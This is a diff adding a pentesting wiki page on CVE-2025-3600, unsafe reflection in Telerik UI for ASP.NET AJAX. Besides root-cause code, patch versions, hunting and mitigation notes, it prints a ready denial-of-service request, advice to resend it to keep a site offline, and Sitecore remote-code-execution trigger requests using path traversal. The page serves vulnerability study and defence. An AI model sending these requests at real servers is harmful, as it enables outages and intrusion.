|
| 1 | +# Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +> Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600). |
| 6 | +
|
| 7 | +## TL;DR |
| 8 | + |
| 9 | +- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products. |
| 10 | +- Primitive: Attacker controls a type name (prtype). The handler resolves it with Type.GetType() and invokes Activator.CreateInstance() before verifying interface type-safety. Any public parameterless .NET type constructor will run. |
| 11 | +- Impact: |
| 12 | + - Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer). |
| 13 | + - Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers. |
| 14 | +- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler. |
| 15 | + |
| 16 | +## Affected versions |
| 17 | + |
| 18 | +- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable. |
| 19 | +- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler. |
| 20 | + |
| 21 | +## Affected surface and quick discovery |
| 22 | + |
| 23 | +- Check exposure: |
| 24 | + - GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired. |
| 25 | + - Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd. |
| 26 | +- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=<AssemblyQualifiedType>. |
| 27 | + |
| 28 | +Example probe and generic trigger: |
| 29 | + |
| 30 | +```http |
| 31 | +GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly |
| 32 | +``` |
| 33 | + |
| 34 | +Notes |
| 35 | +- Some PoCs use dtype; the implementation checks dkey=="1" for the download flow. |
| 36 | +- prtype must be assembly-qualified or resolvable in the current AppDomain. |
| 37 | + |
| 38 | +## Root cause – unsafe reflection in ImageEditorCacheHandler |
| 39 | + |
| 40 | +The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails. |
| 41 | + |
| 42 | +<details> |
| 43 | +<summary>Relevant decompiled flow</summary> |
| 44 | + |
| 45 | +```csharp |
| 46 | +// entrypoint |
| 47 | +public void ProcessRequest(HttpContext context) |
| 48 | +{ |
| 49 | + string text = context.Request["dkey"]; // dkey |
| 50 | + string text2 = context.Request.Form["encryptedDownloadKey"]; // download key |
| 51 | + ... |
| 52 | + if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" |
| 53 | + { |
| 54 | + ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here |
| 55 | + string key = context.Request["key"]; |
| 56 | + if (text == "1" && !this.IsValidDownloadKey(text2)) |
| 57 | + { |
| 58 | + this.CompleteAsBadRequest(context.ApplicationInstance); |
| 59 | + return; // cast/check happens after ctor has already run |
| 60 | + } |
| 61 | + using (EditableImage editableImage = imageProvider.Retrieve(key)) |
| 62 | + { |
| 63 | + this.SendImage(editableImage, context, text, fileName); |
| 64 | + } |
| 65 | + } |
| 66 | +} |
| 67 | + |
| 68 | +private ICacheImageProvider GetImageProvider(HttpContext context) |
| 69 | +{ |
| 70 | + if (!string.IsNullOrEmpty(context.Request["prtype"])) |
| 71 | + { |
| 72 | + return RadImageEditor.InitCacheImageProvider( |
| 73 | + RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A] |
| 74 | + ); |
| 75 | + } |
| 76 | + ... |
| 77 | +} |
| 78 | + |
| 79 | +public static Type GetICacheImageProviderType(string imageProviderTypeName) |
| 80 | +{ |
| 81 | + return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? |
| 82 | + typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] |
| 83 | +} |
| 84 | + |
| 85 | +protected internal static ICacheImageProvider InitCacheImageProvider(Type t) |
| 86 | +{ |
| 87 | + // unsafe: construct before enforcing interface type-safety |
| 88 | + return (ICacheImageProvider)Activator.CreateInstance(t); // [C] |
| 89 | +} |
| 90 | +``` |
| 91 | +</details> |
| 92 | + |
| 93 | +Exploit primitive: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Even if the request is rejected afterwards, gadget side‑effects already occurred. |
| 94 | + |
| 95 | +## Universal DoS gadget (no app-specific gadgets required) |
| 96 | + |
| 97 | +Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation. |
| 98 | + |
| 99 | +One‑shot DoS request: |
| 100 | + |
| 101 | +```http |
| 102 | +GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35 |
| 103 | +``` |
| 104 | + |
| 105 | +Notes |
| 106 | +- Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization. |
| 107 | + |
| 108 | +## From DoS to RCE – escalation patterns |
| 109 | + |
| 110 | +Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for: |
| 111 | + |
| 112 | +1) Parameterless constructors that process attacker input |
| 113 | +- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them. |
| 114 | +- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET. |
| 115 | + |
| 116 | +2) Constructors that touch files |
| 117 | +- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders). |
| 118 | + |
| 119 | +3) Constructors performing app-specific ops |
| 120 | +- Resetting state, toggling modules, or terminating processes. |
| 121 | + |
| 122 | +4) Constructors/static ctors that register AppDomain event handlers |
| 123 | +- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths. |
| 124 | + |
| 125 | +5) Forcing AssemblyResolve via Type.GetType |
| 126 | +- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name: |
| 127 | + |
| 128 | +``` |
| 129 | +This.Class.Does.Not.Exist, watchTowr |
| 130 | +``` |
| 131 | + |
| 132 | +6) Finalizers with destructive side effects |
| 133 | +- Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments. |
| 134 | + |
| 135 | +## Example pre‑auth RCE chain (Sitecore XP) |
| 136 | + |
| 137 | +- Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory). |
| 138 | +- Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL. |
| 139 | +- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker. |
| 140 | + |
| 141 | +Trigger examples |
| 142 | + |
| 143 | +```http |
| 144 | +# Load the insecure resolver (no auth on many setups) |
| 145 | +GET /-/xaml/Sitecore.Shell.Xaml.WebControl |
| 146 | +
|
| 147 | +# Coerce the resolver via Telerik unsafe reflection |
| 148 | +GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr |
| 149 | +``` |
| 150 | + |
| 151 | +## Validation, hunting and DFIR notes |
| 152 | + |
| 153 | +- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer. |
| 154 | +- Hunt in telemetry: |
| 155 | + - Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values. |
| 156 | + - Failed type loads and AppDomain.AssemblyResolve events. |
| 157 | + - Sudden w3wp.exe crashes/recycles following such requests. |
| 158 | + |
| 159 | +## Mitigation |
| 160 | + |
| 161 | +- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later. |
| 162 | +- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites). |
| 163 | +- Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation). |
| 164 | +- Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists. |
| 165 | +- Constrain upload/write locations and prevent DLL drops into probed directories. |
| 166 | +- Monitor for non-existent type load attempts to catch resolver abuse. |
| 167 | + |
| 168 | +## Cheat‑sheet |
| 169 | + |
| 170 | +- Presence check: |
| 171 | + - GET /Telerik.Web.UI.WebResource.axd |
| 172 | + - Look for handler mapping in web.config |
| 173 | +- Exploit skeleton: |
| 174 | + |
| 175 | +```http |
| 176 | +GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...> |
| 177 | +``` |
| 178 | + |
| 179 | +- Universal DoS: |
| 180 | + |
| 181 | +```http |
| 182 | +...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35 |
| 183 | +``` |
| 184 | + |
| 185 | +- Trigger resolver: |
| 186 | + |
| 187 | +``` |
| 188 | +This.Class.Does.Not.Exist, watchTowr |
| 189 | +``` |
| 190 | + |
| 191 | +## Related techniques |
| 192 | + |
| 193 | +- IIS post-exploitation, .NET key extraction, and in‑memory loaders: |
| 194 | + |
| 195 | +{{#ref}} |
| 196 | +iis-internet-information-services.md |
| 197 | +{{#endref}} |
| 198 | + |
| 199 | +- ASP.NET ViewState deserialization and machineKey abuses: |
| 200 | + |
| 201 | +{{#ref}} |
| 202 | +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md |
| 203 | +{{#endref}} |
| 204 | + |
| 205 | +## References |
| 206 | + |
| 207 | +- [watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)](https://labs.watchtowr.com/more-than-dos-progress-telerik-ui-for-asp-net-ajax-unsafe-reflection-cve-2025-3600/) |
| 208 | +- [Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background](https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf) |
| 209 | +- [ZDI – Abusing arbitrary file deletes to escalate privilege](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) |
| 210 | +- [watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/) |
| 211 | + |
| 212 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments